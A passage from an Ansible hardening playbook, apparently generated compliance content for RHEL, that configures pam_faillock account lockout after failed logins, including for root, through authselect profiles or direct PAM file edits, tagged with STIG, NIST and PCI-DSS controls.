    - PCI-DSSv4-8.3
    - PCI-DSSv4-8.3.4
    - accounts_passwords_pam_faillock_deny
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Lock Accounts After Failed Password Attempts - Ensure the pam_faillock.so
      deny parameter not in PAM files
    block:

    - name: Lock Accounts After Failed Password Attempts - Check if /etc/pam.d/system-auth
        file is present
      ansible.builtin.stat:
        path: /etc/pam.d/system-auth
      register: result_pam_auth_file_present

    - name: Lock Accounts After Failed Password Attempts - Check the proper remediation
        for the system
      block:

      - name: Lock Accounts After Failed Password Attempts - Define the PAM file to
          be edited as a local fact
        ansible.builtin.set_fact:
          pam_file_path: /etc/pam.d/system-auth

      - name: Lock Accounts After Failed Password Attempts - Check if system relies
          on authselect tool
        ansible.builtin.stat:
          path: /usr/bin/authselect
        register: result_authselect_present

      - name: Lock Accounts After Failed Password Attempts - Ensure authselect custom
          profile is used if authselect is present
        block:

        - name: Lock Accounts After Failed Password Attempts - Check integrity of
            authselect current profile
          ansible.builtin.command:
            cmd: authselect check
          register: result_authselect_check_cmd
          changed_when: false
          check_mode: false
          failed_when: false

        - name: Lock Accounts After Failed Password Attempts - Informative message
            based on the authselect integrity check result
          ansible.builtin.assert:
            that:
            - ansible_check_mode or result_authselect_check_cmd.rc == 0
            fail_msg:
            - authselect integrity check failed. Remediation aborted!
            - This remediation could not be applied because an authselect profile
              was not selected or the selected profile is not intact.
            - It is not recommended to manually edit the PAM files when authselect
              tool is available.
            - In cases where the default authselect profile does not cover a specific
              demand, a custom authselect profile is recommended.
            success_msg:
            - authselect integrity check passed

        - name: Lock Accounts After Failed Password Attempts - Get authselect current
            profile
          ansible.builtin.shell:
            cmd: authselect current -r | awk '{ print $1 }'
          register: result_authselect_profile
          changed_when: false
          when:
          - result_authselect_check_cmd is success

        - name: Lock Accounts After Failed Password Attempts - Define the current
            authselect profile as a local fact
          ansible.builtin.set_fact:
            authselect_current_profile: '{{ result_authselect_profile.stdout }}'
            authselect_custom_profile: '{{ result_authselect_profile.stdout }}'
          when:
          - result_authselect_profile is not skipped
          - result_authselect_profile.stdout is match(&quot;custom/&quot;)

        - name: Lock Accounts After Failed Password Attempts - Define the new authselect
            custom profile as a local fact
          ansible.builtin.set_fact:
            authselect_current_profile: '{{ result_authselect_profile.stdout }}'
            authselect_custom_profile: custom/hardening
          when:
          - result_authselect_profile is not skipped
          - result_authselect_profile.stdout is not match(&quot;custom/&quot;)

        - name: Lock Accounts After Failed Password Attempts - Get authselect current
            features to also enable them in the custom profile
          ansible.builtin.shell:
            cmd: authselect current | tail -n+3 | awk '{ print $2 }'
          register: result_authselect_features
          changed_when: false
          check_mode: false
          when:
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)

        - name: Lock Accounts After Failed Password Attempts - Check if any custom
            profile with the same name was already created
          ansible.builtin.stat:
            path: /etc/authselect/{{ authselect_custom_profile }}
          register: result_authselect_custom_profile_present
          changed_when: false
          when:
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)

        - name: Lock Accounts After Failed Password Attempts - Create an authselect
            custom profile based on the current profile
          ansible.builtin.command:
            cmd: authselect create-profile hardening -b {{ authselect_current_profile
              }}
          when:
          - result_authselect_profile is not skipped
          - result_authselect_check_cmd is success
          - authselect_current_profile is not match(&quot;^(custom/|local)&quot;)
          - not result_authselect_custom_profile_present.stat.exists

        - name: Lock Accounts After Failed Password Attempts - Create an authselect
            custom profile based on sssd profile
          ansible.builtin.command:
            cmd: authselect create-profile hardening -b sssd
          when:
          - result_authselect_profile is not skipped
          - result_authselect_check_cmd is success
          - authselect_current_profile is match(&quot;local&quot;)
          - not result_authselect_custom_profile_present.stat.exists

        - name: Lock Accounts After Failed Password Attempts - Ensure authselect changes
            are applied
          ansible.builtin.command:
            cmd: authselect apply-changes -b --backup=before-hardening-custom-profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)
          - authselect_custom_profile is not match(authselect_current_profile)

        - name: Lock Accounts After Failed Password Attempts - Ensure the authselect
            custom profile is selected
          ansible.builtin.command:
            cmd: authselect select {{ authselect_custom_profile }}
          register: result_pam_authselect_select_profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)
          - authselect_custom_profile is not match(authselect_current_profile)

        - name: Lock Accounts After Failed Password Attempts - Restore the authselect
            features in the custom profile
          ansible.builtin.command:
            cmd: authselect enable-feature {{ item }}
          loop: '{{ result_authselect_features.stdout_lines }}'
          register: result_pam_authselect_restore_features
          when:
          - result_authselect_profile is not skipped
          - result_authselect_features is not skipped
          - result_pam_authselect_select_profile is not skipped

        - name: Lock Accounts After Failed Password Attempts - Ensure authselect changes
            are applied
          ansible.builtin.command:
            cmd: authselect apply-changes -b --backup=after-hardening-custom-profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - result_pam_authselect_restore_features is not skipped

        - name: Lock Accounts After Failed Password Attempts - Change the PAM file
            to be edited according to the custom authselect profile
          ansible.builtin.set_fact:
            pam_file_path: /etc/authselect/{{ authselect_custom_profile }}/{{ pam_file_path
              | basename }}
          when:
          - authselect_custom_profile is defined
        when:
        - result_authselect_present.stat.exists

      - name: Lock Accounts After Failed Password Attempts - Define a fact for control
          already filtered in case filters are used
        ansible.builtin.set_fact:
          pam_module_control: ''

      - name: Lock Accounts After Failed Password Attempts - Check if {{ pam_file_path
          }} file is present
        ansible.builtin.stat:
          path: '{{ pam_file_path }}'
        register: result_pam_file_present

      - name: Lock Accounts After Failed Password Attempts - Ensure the &quot;deny&quot; option
          from &quot;pam_faillock.so&quot; is not present in {{ pam_file_path }}
        ansible.builtin.replace:
          dest: '{{ pam_file_path }}'
          regexp: (.*auth.*pam_faillock.so.*)\bdeny\b=?[0-9a-zA-Z]*(.*)
          replace: \1\2
        register: result_pam_option_removal
        when:
        - result_pam_file_present.stat.exists

      - name: Lock Accounts After Failed Password Attempts - Ensure authselect changes
          are applied
        ansible.builtin.command:
          cmd: authselect apply-changes -b
        when:
        - result_authselect_present.stat.exists
        - result_pam_option_removal is changed
      when:
      - result_pam_auth_file_present.stat.exists

    - name: Lock Accounts After Failed Password Attempts - Check if /etc/pam.d/password-auth
        file is present
      ansible.builtin.stat:
        path: /etc/pam.d/password-auth
      register: result_pam_password_auth_file_present

    - name: Lock Accounts After Failed Password Attempts - Check the proper remediation
        for the system
      block:

      - name: Lock Accounts After Failed Password Attempts - Define the PAM file to
          be edited as a local fact
        ansible.builtin.set_fact:
          pam_file_path: /etc/pam.d/password-auth

      - name: Lock Accounts After Failed Password Attempts - Check if system relies
          on authselect tool
        ansible.builtin.stat:
          path: /usr/bin/authselect
        register: result_authselect_present

      - name: Lock Accounts After Failed Password Attempts - Ensure authselect custom
          profile is used if authselect is present
        block:

        - name: Lock Accounts After Failed Password Attempts - Check integrity of
            authselect current profile
          ansible.builtin.command:
            cmd: authselect check
          register: result_authselect_check_cmd
          changed_when: false
          check_mode: false
          failed_when: false

        - name: Lock Accounts After Failed Password Attempts - Informative message
            based on the authselect integrity check result
          ansible.builtin.assert:
            that:
            - ansible_check_mode or result_authselect_check_cmd.rc == 0
            fail_msg:
            - authselect integrity check failed. Remediation aborted!
            - This remediation could not be applied because an authselect profile
              was not selected or the selected profile is not intact.
            - It is not recommended to manually edit the PAM files when authselect
              tool is available.
            - In cases where the default authselect profile does not cover a specific
              demand, a custom authselect profile is recommended.
            success_msg:
            - authselect integrity check passed

        - name: Lock Accounts After Failed Password Attempts - Get authselect current
            profile
          ansible.builtin.shell:
            cmd: authselect current -r | awk '{ print $1 }'
          register: result_authselect_profile
          changed_when: false
          when:
          - result_authselect_check_cmd is success

        - name: Lock Accounts After Failed Password Attempts - Define the current
            authselect profile as a local fact
          ansible.builtin.set_fact:
            authselect_current_profile: '{{ result_authselect_profile.stdout }}'
            authselect_custom_profile: '{{ result_authselect_profile.stdout }}'
          when:
          - result_authselect_profile is not skipped
          - result_authselect_profile.stdout is match(&quot;custom/&quot;)

        - name: Lock Accounts After Failed Password Attempts - Define the new authselect
            custom profile as a local fact
          ansible.builtin.set_fact:
            authselect_current_profile: '{{ result_authselect_profile.stdout }}'
            authselect_custom_profile: custom/hardening
          when:
          - result_authselect_profile is not skipped
          - result_authselect_profile.stdout is not match(&quot;custom/&quot;)

        - name: Lock Accounts After Failed Password Attempts - Get authselect current
            features to also enable them in the custom profile
          ansible.builtin.shell:
            cmd: authselect current | tail -n+3 | awk '{ print $2 }'
          register: result_authselect_features
          changed_when: false
          check_mode: false
          when:
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)

        - name: Lock Accounts After Failed Password Attempts - Check if any custom
            profile with the same name was already created
          ansible.builtin.stat:
            path: /etc/authselect/{{ authselect_custom_profile }}
          register: result_authselect_custom_profile_present
          changed_when: false
          when:
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)

        - name: Lock Accounts After Failed Password Attempts - Create an authselect
            custom profile based on the current profile
          ansible.builtin.command:
            cmd: authselect create-profile hardening -b {{ authselect_current_profile
              }}
          when:
          - result_authselect_profile is not skipped
          - result_authselect_check_cmd is success
          - authselect_current_profile is not match(&quot;^(custom/|local)&quot;)
          - not result_authselect_custom_profile_present.stat.exists

        - name: Lock Accounts After Failed Password Attempts - Create an authselect
            custom profile based on sssd profile
          ansible.builtin.command:
            cmd: authselect create-profile hardening -b sssd
          when:
          - result_authselect_profile is not skipped
          - result_authselect_check_cmd is success
          - authselect_current_profile is match(&quot;local&quot;)
          - not result_authselect_custom_profile_present.stat.exists

        - name: Lock Accounts After Failed Password Attempts - Ensure authselect changes
            are applied
          ansible.builtin.command:
            cmd: authselect apply-changes -b --backup=before-hardening-custom-profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)
          - authselect_custom_profile is not match(authselect_current_profile)

        - name: Lock Accounts After Failed Password Attempts - Ensure the authselect
            custom profile is selected
          ansible.builtin.command:
            cmd: authselect select {{ authselect_custom_profile }}
          register: result_pam_authselect_select_profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)
          - authselect_custom_profile is not match(authselect_current_profile)

        - name: Lock Accounts After Failed Password Attempts - Restore the authselect
            features in the custom profile
          ansible.builtin.command:
            cmd: authselect enable-feature {{ item }}
          loop: '{{ result_authselect_features.stdout_lines }}'
          register: result_pam_authselect_restore_features
          when:
          - result_authselect_profile is not skipped
          - result_authselect_features is not skipped
          - result_pam_authselect_select_profile is not skipped

        - name: Lock Accounts After Failed Password Attempts - Ensure authselect changes
            are applied
          ansible.builtin.command:
            cmd: authselect apply-changes -b --backup=after-hardening-custom-profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - result_pam_authselect_restore_features is not skipped

        - name: Lock Accounts After Failed Password Attempts - Change the PAM file
            to be edited according to the custom authselect profile
          ansible.builtin.set_fact:
            pam_file_path: /etc/authselect/{{ authselect_custom_profile }}/{{ pam_file_path
              | basename }}
          when:
          - authselect_custom_profile is defined
        when:
        - result_authselect_present.stat.exists

      - name: Lock Accounts After Failed Password Attempts - Define a fact for control
          already filtered in case filters are used
        ansible.builtin.set_fact:
          pam_module_control: ''

      - name: Lock Accounts After Failed Password Attempts - Check if {{ pam_file_path
          }} file is present
        ansible.builtin.stat:
          path: '{{ pam_file_path }}'
        register: result_pam_file_present

      - name: Lock Accounts After Failed Password Attempts - Ensure the &quot;deny&quot; option
          from &quot;pam_faillock.so&quot; is not present in {{ pam_file_path }}
        ansible.builtin.replace:
          dest: '{{ pam_file_path }}'
          regexp: (.*auth.*pam_faillock.so.*)\bdeny\b=?[0-9a-zA-Z]*(.*)
          replace: \1\2
        register: result_pam_option_removal
        when:
        - result_pam_file_present.stat.exists

      - name: Lock Accounts After Failed Password Attempts - Ensure authselect changes
          are applied
        ansible.builtin.command:
          cmd: authselect apply-changes -b
        when:
        - result_authselect_present.stat.exists
        - result_pam_option_removal is changed
      when:
      - result_pam_password_auth_file_present.stat.exists
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    - result_faillock_conf_check.stat.exists
    tags:
    - CJIS-5.5.3
    - DISA-STIG-RHEL-08-020011
    - NIST-800-171-3.1.8
    - NIST-800-53-AC-7(a)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-8.1.6
    - PCI-DSSv4-8.3
    - PCI-DSSv4-8.3.4
    - accounts_passwords_pam_faillock_deny
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Lock Accounts After Failed Password Attempts - Ensure the pam_faillock.so
      deny parameter in PAM files
    block:

    - name: Lock Accounts After Failed Password Attempts - Check if pam_faillock.so
        deny parameter is already enabled in pam files
      ansible.builtin.lineinfile:
        path: /etc/pam.d/system-auth
        regexp: .*auth.*pam_faillock\.so (preauth|authfail).*deny
        state: absent
      check_mode: true
      changed_when: false
      register: result_pam_faillock_deny_parameter_is_present

    - name: Lock Accounts After Failed Password Attempts - Ensure the inclusion of
        pam_faillock.so preauth deny parameter in auth section
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        backrefs: true
        regexp: (^\s*auth\s+)([\w\[].*\b)(\s+pam_faillock.so preauth.*)
        line: \1required\3 deny={{ var_accounts_passwords_pam_faillock_deny }}
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_deny_parameter_is_present.found == 0

    - name: Lock Accounts After Failed Password Attempts - Ensure the inclusion of
        pam_faillock.so authfail deny parameter in auth section
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        backrefs: true
        regexp: (^\s*auth\s+)([\w\[].*\b)(\s+pam_faillock.so authfail.*)
        line: \1required\3 deny={{ var_accounts_passwords_pam_faillock_deny }}
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_deny_parameter_is_present.found == 0

    - name: Lock Accounts After Failed Password Attempts - Ensure the desired value
        for pam_faillock.so preauth deny parameter in auth section
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        backrefs: true
        regexp: (^\s*auth\s+)([\w\[].*\b)(\s+pam_faillock.so preauth.*)(deny)=[0-9]+(.*)
        line: \1required\3\4={{ var_accounts_passwords_pam_faillock_deny }}\5
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_deny_parameter_is_present.found &gt; 0

    - name: Lock Accounts After Failed Password Attempts - Ensure the desired value
        for pam_faillock.so authfail deny parameter in auth section
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        backrefs: true
        regexp: (^\s*auth\s+)([\w\[].*\b)(\s+pam_faillock.so authfail.*)(deny)=[0-9]+(.*)
        line: \1required\3\4={{ var_accounts_passwords_pam_faillock_deny }}\5
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_deny_parameter_is_present.found &gt; 0
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    - not result_faillock_conf_check.stat.exists
    tags:
    - CJIS-5.5.3
    - DISA-STIG-RHEL-08-020011
    - NIST-800-171-3.1.8
    - NIST-800-53-AC-7(a)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-8.1.6
    - PCI-DSSv4-8.3
    - PCI-DSSv4-8.3.4
    - accounts_passwords_pam_faillock_deny
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Configure the root Account for Failed Password Attempts - Check if system
      relies on authselect tool
    ansible.builtin.stat:
      path: /usr/bin/authselect
    register: result_authselect_present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ( ansible_distribution == 'RedHat' and ansible_distribution_version is version('8.2',
      '&gt;=') and &quot;pam&quot; in ansible_facts.packages )
    tags:
    - DISA-STIG-RHEL-08-020023
    - NIST-800-53-AC-7(b)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(c)
    - accounts_passwords_pam_faillock_deny_root
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Configure the root Account for Failed Password Attempts - Remediation where
      authselect tool is present
    block:

    - name: Configure the root Account for Failed Password Attempts - Check integrity
        of authselect current profile
      ansible.builtin.command:
        cmd: authselect check
      register: result_authselect_check_cmd
      changed_when: false
      check_mode: false
      failed_when: false

    - name: Configure the root Account for Failed Password Attempts - Informative
        message based on the authselect integrity check result
      ansible.builtin.assert:
        that:
        - ansible_check_mode or result_authselect_check_cmd.rc == 0
        fail_msg:
        - authselect integrity check failed. Remediation aborted!
        - This remediation could not be applied because an authselect profile was
          not selected or the selected profile is not intact.
        - It is not recommended to manually edit the PAM files when authselect tool
          is available.
        - In cases where the default authselect profile does not cover a specific
          demand, a custom authselect profile is recommended.
        success_msg:
        - authselect integrity check passed

    - name: Configure the root Account for Failed Password Attempts - Get authselect
        current features
      ansible.builtin.shell:
        cmd: authselect current | tail -n+3 | awk '{ print $2 }'
      register: result_authselect_features
      changed_when: false
      check_mode: false
      when:
      - result_authselect_check_cmd is success

    - name: Configure the root Account for Failed Password Attempts - Ensure &quot;with-faillock&quot;
        feature is enabled using authselect tool
      ansible.builtin.command:
        cmd: authselect enable-feature with-faillock
      register: result_authselect_enable_feature_cmd
      when:
      - result_authselect_check_cmd is success
      - result_authselect_features.stdout is not search(&quot;with-faillock&quot;)

    - name: Configure the root Account for Failed Password Attempts - Ensure authselect
        changes are applied
      ansible.builtin.command:
        cmd: authselect apply-changes -b
      when:
      - result_authselect_enable_feature_cmd is not skipped
      - result_authselect_enable_feature_cmd is success
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ( ansible_distribution == 'RedHat' and ansible_distribution_version is version('8.2',
      '&gt;=') and &quot;pam&quot; in ansible_facts.packages )
    - result_authselect_present.stat.exists
    tags:
    - DISA-STIG-RHEL-08-020023
    - NIST-800-53-AC-7(b)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(c)
    - accounts_passwords_pam_faillock_deny_root
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Configure the root Account for Failed Password Attempts - Remediation where
      authselect tool is not present
    block:

    - name: Configure the root Account for Failed Password Attempts - Check if pam_faillock.so
        is already enabled
      ansible.builtin.lineinfile:
        path: /etc/pam.d/system-auth
        regexp: .*auth.*pam_faillock\.so (preauth|authfail)
        state: absent
      check_mode: true
      changed_when: false
      register: result_pam_faillock_is_enabled

    - name: Configure the root Account for Failed Password Attempts - Enable pam_faillock.so
        preauth editing PAM files
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        line: auth        required      pam_faillock.so preauth
        insertbefore: ^auth.*sufficient.*pam_unix\.so.*
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_is_enabled.found == 0

    - name: Configure the root Account for Failed Password Attempts - Enable pam_faillock.so
        authfail editing PAM files
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        line: auth        required      pam_faillock.so authfail
        insertbefore: ^auth.*required.*pam_deny\.so.*
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_is_enabled.found == 0

    - name: Configure the root Account for Failed Password Attempts - Enable pam_faillock.so
        account section editing PAM files
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        line: account     required      pam_faillock.so
        insertbefore: ^account.*required.*pam_unix\.so.*
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_is_enabled.found == 0
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ( ansible_distribution == 'RedHat' and ansible_distribution_version is version('8.2',
      '&gt;=') and &quot;pam&quot; in ansible_facts.packages )
    - not result_authselect_present.stat.exists
    tags:
    - DISA-STIG-RHEL-08-020023
    - NIST-800-53-AC-7(b)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(c)
    - accounts_passwords_pam_faillock_deny_root
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Configure the root Account for Failed Password Attempts - Check the presence
      of /etc/security/faillock.conf file
    ansible.builtin.stat:
      path: /etc/security/faillock.conf
    register: result_faillock_conf_check
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ( ansible_distribution == 'RedHat' and ansible_distribution_version is version('8.2',
      '&gt;=') and &quot;pam&quot; in ansible_facts.packages )
    tags:
    - DISA-STIG-RHEL-08-020023
    - NIST-800-53-AC-7(b)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(c)
    - accounts_passwords_pam_faillock_deny_root
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Configure the root Account for Failed Password Attempts - Ensure the pam_faillock.so
      even_deny_root parameter in /etc/security/faillock.conf
    ansible.builtin.lineinfile:
      path: /etc/security/faillock.conf
      regexp: ^\s*even_deny_root
      line: even_deny_root
      state: present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ( ansible_distribution == 'RedHat' and ansible_distribution_version is version('8.2',
      '&gt;=') and &quot;pam&quot; in ansible_facts.packages )
    - result_faillock_conf_check.stat.exists
    tags:
    - DISA-STIG-RHEL-08-020023
    - NIST-800-53-AC-7(b)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(c)
    - accounts_passwords_pam_faillock_deny_root
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Configure the root Account for Failed Password Attempts - Ensure the pam_faillock.so
      even_deny_root parameter not in PAM files
    block:

    - name: Configure the root Account for Failed Password Attempts - Check if /etc/pam.d/system-auth
        file is present
      ansible.builtin.stat:
        path: /etc/pam.d/system-auth
      register: result_pam_auth_file_present

    - name: Configure the root Account for Failed Password Attempts - Check the proper
        remediation for the system
      block:

      - name: Configure the root Account for Failed Password Attempts - Define the
          PAM file to be edited as a local fact
        ansible.builtin.set_fact:
          pam_file_path: /etc/pam.d/system-auth

      - name: Configure the root Account for Failed Password Attempts - Check if system
          relies on authselect tool
        ansible.builtin.stat:
          path: /usr/bin/authselect
        register: result_authselect_present

      - name: Configure the root Account for Failed Password Attempts - Ensure authselect
          custom profile is used if authselect is present
        block:

        - name: Configure the root Account for Failed Password Attempts - Check integrity
            of authselect current profile
          ansible.builtin.command:
            cmd: authselect check
          register: result_authselect_check_cmd
          changed_when: false
          check_mode: false
          failed_when: false

        - name: Configure the root Account for Failed Password Attempts - Informative
            message based on the authselect integrity check result
          ansible.builtin.assert:
            that:
            - ansible_check_mode or result_authselect_check_cmd.rc == 0
            fail_msg:
            - authselect integrity check failed. Remediation aborted!
            - This remediation could not be applied because an authselect profile
              was not selected or the selected profile is not intact.
            - It is not recommended to manually edit the PAM files when authselect
              tool is available.
            - In cases where the default authselect profile does not cover a specific
              demand, a custom authselect profile is recommended.
            success_msg:
            - authselect integrity check passed

        - name: Configure the root Account for Failed Password Attempts - Get authselect
            current profile
          ansible.builtin.shell:
            cmd: authselect current -r | awk '{ print $1 }'
          register: result_authselect_profile
          changed_when: false
          when:
          - result_authselect_check_cmd is success

        - name: Configure the root Account for Failed Password Attempts - Define the
            current authselect profile as a local fact
          ansible.builtin.set_fact:
            authselect_current_profile: '{{ result_authselect_profile.stdout }}'
            authselect_custom_profile: '{{ result_authselect_profile.stdout }}'
          when:
          - result_authselect_profile is not skipped
          - result_authselect_profile.stdout is match(&quot;custom/&quot;)

        - name: Configure the root Account for Failed Password Attempts - Define the
            new authselect custom profile as a local fact
          ansible.builtin.set_fact:
            authselect_current_profile: '{{ result_authselect_profile.stdout }}'
            authselect_custom_profile: custom/hardening
          when:
          - result_authselect_profile is not skipped
          - result_authselect_profile.stdout is not match(&quot;custom/&quot;)

        - name: Configure the root Account for Failed Password Attempts - Get authselect
            current features to also enable them in the custom profile
          ansible.builtin.shell:
            cmd: authselect current | tail -n+3 | awk '{ print $2 }'
          register: result_authselect_features
          changed_when: false
          check_mode: false
          when:
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)

        - name: Configure the root Account for Failed Password Attempts - Check if
            any custom profile with the same name was already created
          ansible.builtin.stat:
            path: /etc/authselect/{{ authselect_custom_profile }}
          register: result_authselect_custom_profile_present
          changed_when: false
          when:
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)

        - name: Configure the root Account for Failed Password Attempts - Create an
            authselect custom profile based on the current profile
          ansible.builtin.command:
            cmd: authselect create-profile hardening -b {{ authselect_current_profile
              }}
          when:
          - result_authselect_profile is not skipped
          - result_authselect_check_cmd is success
          - authselect_current_profile is not match(&quot;^(custom/|local)&quot;)
          - not result_authselect_custom_profile_present.stat.exists

        - name: Configure the root Account for Failed Password Attempts - Create an
            authselect custom profile based on sssd profile
          ansible.builtin.command:
            cmd: authselect create-profile hardening -b sssd
          when:
          - result_authselect_profile is not skipped
          - result_authselect_check_cmd is success
          - authselect_current_profile is match(&quot;local&quot;)
          - not result_authselect_custom_profile_present.stat.exists

        - name: Configure the root Account for Failed Password Attempts - Ensure authselect
            changes are applied
          ansible.builtin.command:
            cmd: authselect apply-changes -b --backup=before-hardening-custom-profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)
          - authselect_custom_profile is not match(authselect_current_profile)

        - name: Configure the root Account for Failed Password Attempts - Ensure the
            authselect custom profile is selected
          ansible.builtin.command:
            cmd: authselect select {{ authselect_custom_profile }}
          register: result_pam_authselect_select_profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)
          - authselect_custom_profile is not match(authselect_current_profile)

        - name: Configure the root Account for Failed Password Attempts - Restore
            the authselect features in the custom profile
          ansible.builtin.command:
            cmd: authselect enable-feature {{ item }}
          loop: '{{ result_authselect_features.stdout_lines }}'
          register: result_pam_authselect_restore_features
          when:
          - result_authselect_profile is not skipped
          - result_authselect_features is not skipped
          - result_pam_authselect_select_profile is not skipped

        - name: Configure the root Account for Failed Password Attempts - Ensure authselect
            changes are applied
          ansible.builtin.command:
            cmd: authselect apply-changes -b --backup=after-hardening-custom-profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - result_pam_authselect_restore_features is not skipped

        - name: Configure the root Account for Failed Password Attempts - Change the
            PAM file to be edited according to the custom authselect profile
          ansible.builtin.set_fact:
            pam_file_path: /etc/authselect/{{ authselect_custom_profile }}/{{ pam_file_path
              | basename }}
          when:
          - authselect_custom_profile is defined
        when:
        - result_authselect_present.stat.exists

      - name: Configure the root Account for Failed Password Attempts - Define a fact
          for control already filtered in case filters are used
        ansible.builtin.set_fact:
          pam_module_control: ''

      - name: Configure the root Account for Failed Password Attempts - Check if {{
          pam_file_path }} file is present
        ansible.builtin.stat:
          path: '{{ pam_file_path }}'
        register: result_pam_file_present

      - name: Configure the root Account for Failed Password Attempts - Ensure the
          &quot;even_deny_root&quot; option from &quot;pam_faillock.so&quot; is not present in {{ pam_file_path
          }}
        ansible.builtin.replace:
          dest: '{{ pam_file_path }}'
          regexp: (.*auth.*pam_faillock.so.*)\beven_deny_root\b=?[0-9a-zA-Z]*(.*)
          replace: \1\2
        register: result_pam_option_removal
        when:
        - result_pam_file_present.stat.exists

      - name: Configure the root Account for Failed Password Attempts - Ensure authselect
          changes are applied
        ansible.builtin.command:
          cmd: authselect apply-changes -b
        when:
        - result_authselect_present.stat.exists
        - result_pam_option_removal is changed
      when:
      - result_pam_auth_file_present.stat.exists

    - name: Configure the root Account for Failed Password Attempts - Check if /etc/pam.d/password-auth
        file is present
      ansible.builtin.stat:
        path: /etc/pam.d/password-auth
      register: result_pam_password_auth_file_present

    - name: Configure the root Account for Failed Password Attempts - Check the proper
        remediation for the system
      block:

      - name: Configure the root Account for Failed Password Attempts - Define the
          PAM file to be edited as a local fact
        ansible.builtin.set_fact:
          pam_file_path: /etc/pam.d/password-auth

      - name: Configure the root Account for Failed Password Attempts - Check if system
          relies on authselect tool
        ansible.builtin.stat:
          path: /usr/bin/authselect
        register: result_authselect_present

      - name: Configure the root Account for Failed Password Attempts - Ensure authselect
          custom profile is used if authselect is present
        block:

        - name: Configure the root Account for Failed Password Attempts - Check integrity
            of authselect current profile
          ansible.builtin.command:
            cmd: authselect check
          register: result_authselect_check_cmd
          changed_when: false
          check_mode: false
          failed_when: false

        - name: Configure the root Account for Failed Password Attempts - Informative
            message based on the authselect integrity check result
          ansible.builtin.assert:
            that:
            - ansible_check_mode or result_authselect_check_cmd.rc == 0
            fail_msg:
            - authselect integrity check failed. Remediation aborted!
            - This remediation could not be applied because an authselect profile
              was not selected or the selected profile is not intact.
            - It is not recommended to manually edit the PAM files when authselect
              tool is available.
            - In cases where the default authselect profile does not cover a specific
              demand, a custom authselect profile is recommended.
            success_msg:
            - authselect integrity check passed

        - name: Configure the root Account for Failed Password Attempts - Get authselect
            current profile
          ansible.builtin.shell:
            cmd: authselect current -r | awk '{ print $1 }'
          register: result_authselect_profile
          changed_when: false
          when:
          - result_authselect_check_cmd is success

        - name: Configure the root Account for Failed Password Attempts - Define the
            current authselect profile as a local fact
          ansible.builtin.set_fact:
